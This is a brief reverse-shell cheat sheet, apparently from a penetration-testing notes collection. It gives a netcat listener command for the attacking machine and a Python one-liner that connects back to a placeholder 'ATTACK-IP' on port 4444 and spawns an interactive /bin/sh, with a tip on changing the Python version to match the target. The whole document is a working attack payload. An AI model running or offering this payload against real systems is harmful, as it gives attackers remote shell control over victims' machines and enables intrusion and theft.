Listener
on attacking machine start a listener
#nc -nlvp 4444
Python
#python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACK-IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
depending on target local python you may have to change from python to python2.7/python3.5 etc.
